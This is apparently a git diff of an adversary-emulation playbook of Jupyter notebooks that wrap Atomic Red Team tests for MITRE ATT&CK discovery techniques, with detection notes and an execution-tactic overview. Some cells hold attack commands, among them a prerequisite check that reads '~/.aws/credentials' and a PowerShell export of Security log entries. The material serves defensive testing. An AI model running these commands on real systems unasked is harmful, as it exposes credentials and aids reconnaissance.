Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0\n```\n##### Description: Add Rsat.GroupPolicy.Management.Tools ###Two RSAT Modules needed for this to work on Win10, WinServer 2019 works by default. This will take a long time (almost 2 minutes) to install RSAT Manually###.\n##### Check Prereq Commands:\n```powershell\nif(Get-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 | Where-Object { $_.State -eq 'Installed' }){ exit 0 } else { exit 1 }\n```\n##### Get Prereq Commands:\n```powershell\nAdd-WindowsCapability -online -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0\n```" }, { "cell_type": "code", "execution_count": null, - "id": "17fd8a8c", + "id": "2234ae94", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1615 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "da5c6343", + "id": "0ff847cc", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -120,28 +120,28 @@ { "cell_type": "code", "execution_count": null, - "id": "51ceeb31", + "id": "85e1e411", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1615 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "9b55c619", + "id": "39c4c00a", "metadata": {}, "source": "#### Cleanup: \n```powershell\ndel $env:temp\\GPO_Output.txt -erroraction silentlycontinue```" }, { "cell_type": "code", "execution_count": null, - "id": "30378a5f", + "id": "933a4340", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1615 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "69514ab1", + "id": "46516bc4", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup.\n\nMonitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed." } @@ -149,13 +149,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1619.ipynb b/playbook/tactics/discovery/T1619.ipynb index 3b0f3230..3c3f50d7 100644 --- a/playbook/tactics/discovery/T1619.ipynb +++ b/playbook/tactics/discovery/T1619.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "55eaaf2d", + "id": "00b6fdea", "metadata": {}, "source": "# T1619 - Cloud Storage Object Discovery\nAdversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) ." }, { "cell_type": "markdown", - "id": "5c781740", + "id": "17470b59", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f67ad2cf", + "id": "2054581d", "metadata": {}, - "source": "### Atomic Test #1 - AWS S3 Enumeration\nThis test will enumerate all the S3 buckets in the user account and lists all the files in each bucket. \n\n**Supported Platforms:** iaas:azure\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS default profile using: aws configure\n\n```" + "source": "### Atomic Test #1 - AWS S3 Enumeration\nThis test will enumerate all the S3 buckets in the user account and lists all the files in each bucket. \n\n**Supported Platforms:** iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS default profile using: aws configure\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "60e50722", + "id": "93789700", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1619 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "11cc69a0", + "id": "6cea410d", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -38,14 +38,14 @@ { "cell_type": "code", "execution_count": null, - "id": "8fcf5f46", + "id": "d5856999", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1619 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c1c400cb", + "id": "1a5099ba", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. \nMonitor cloud logs for API calls used for file or object enumeration for unusual activity. " } @@ -53,13 +53,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1622.ipynb b/playbook/tactics/discovery/T1622.ipynb index 5a7698cf..23052745 100644 --- a/playbook/tactics/discovery/T1622.ipynb +++ b/playbook/tactics/discovery/T1622.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "009c7554", + "id": "ebec85f3", "metadata": {}, "source": "# T1622 - Debugger Evasion\nAdversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)" }, { "cell_type": "markdown", - "id": "e47c7e92", + "id": "5fcb93e4", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "e8c72171", + "id": "b571f161", "metadata": {}, "source": "## Detection\nDebugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\n\nMonitor debugger logs for signs of abnormal and potentially malicious activity." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1652.ipynb b/playbook/tactics/discovery/T1652.ipynb new file mode 100644 index 00000000..ecf6d4a9 --- /dev/null +++ b/playbook/tactics/discovery/T1652.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "ecf8fde8", + "metadata": {}, + "source": "# T1652 - Device Driver Discovery\nAdversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)).\n\nMany OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers)\n\nOn Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)" + }, + { + "cell_type": "markdown", + "id": "a41285d4", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/discovery/T1654.ipynb b/playbook/tactics/discovery/T1654.ipynb new file mode 100644 index 00000000..b6507f6d --- /dev/null +++ b/playbook/tactics/discovery/T1654.ipynb @@ -0,0 +1,67 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "072282a4", + "metadata": {}, + "source": "# T1654 - Log Enumeration\nAdversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).\n\nHost binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent\u2019s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)\n\nAdversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis." + }, + { + "cell_type": "markdown", + "id": "b13888dd", + "metadata": {}, + "source": "## Atomic Tests" + }, + { + "cell_type": "markdown", + "id": "7d06da24", + "metadata": {}, + "source": [ + "### Atomic Test #1 - Get-EventLog To Enumerate Windows Security Log", + "Uses the built-in PowerShell commandlet Get-EventLog to search for 'SYSTEM' keyword and saves results to a text file.\n\nThis technique was observed in a [TheDFIRReport case](https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/) \nwhere the threat actor enumerated the Windows Security audit log to determine user accounts and associated IPv4 addresses.\n\nSuccessful execution will save matching log events to the users temp folder.", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\npowershell -c \"get-eventlog 'Security' | where {$_.Message -like '*SYSTEM*'} | export-csv $env:temp\\T1654_events.txt\"```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "bec130e1", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1654 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "623d1f36", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\npowershell -c \"remove-item $env:temp\\T1654_events.txt -ErrorAction Ignore\"```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9d4bb441", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1654 -TestNumbers 1 -Cleanup" + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/execution.ipynb b/playbook/tactics/execution.ipynb index 0dbd3242..04bfc280 100644 --- a/playbook/tactics/execution.ipynb +++ b/playbook/tactics/execution.ipynb @@ -2,14 +2,14 @@ "cells": [ { "cell_type": "markdown", - "id": "5d2e5f28", + "id": "cdfdb331", "metadata": {}, - "source": "# Execution\nThe adversary is trying to run malicious code.\n\nExecution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery. \n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1648 | Serverless Execution | Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. \n\nAdversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)\n\nServerless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\nT1559.003 | XPC Services | Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).\nT1204.003 | Malicious Image | Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)\nT1053.007 | Container Orchestration Job | Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)\nT1610 | Deploy Container | Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)\nT1609 | Container Administration Command | Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)\nT1059.008 | Network Device CLI | Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)\nT1053.006 | Systemd Timers | Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.\nT1059.007 | JavaScript | Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\nT1204.002 | Malicious File | An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\nT1204.001 | Malicious Link | An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).\nT1569.002 | Service Execution | Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.\nT1569.001 | Launchctl | Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n\nT1569 | System Services | Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.\nT1059.006 | Python | Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.\nT1059.005 | Visual Basic | Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )\nT1059.004 | Unix Shell | Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.\nT1059.003 | Windows Command Shell | Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.\nT1059.002 | AppleScript | Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0NSAppleScript\u00a0or\u00a0OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro 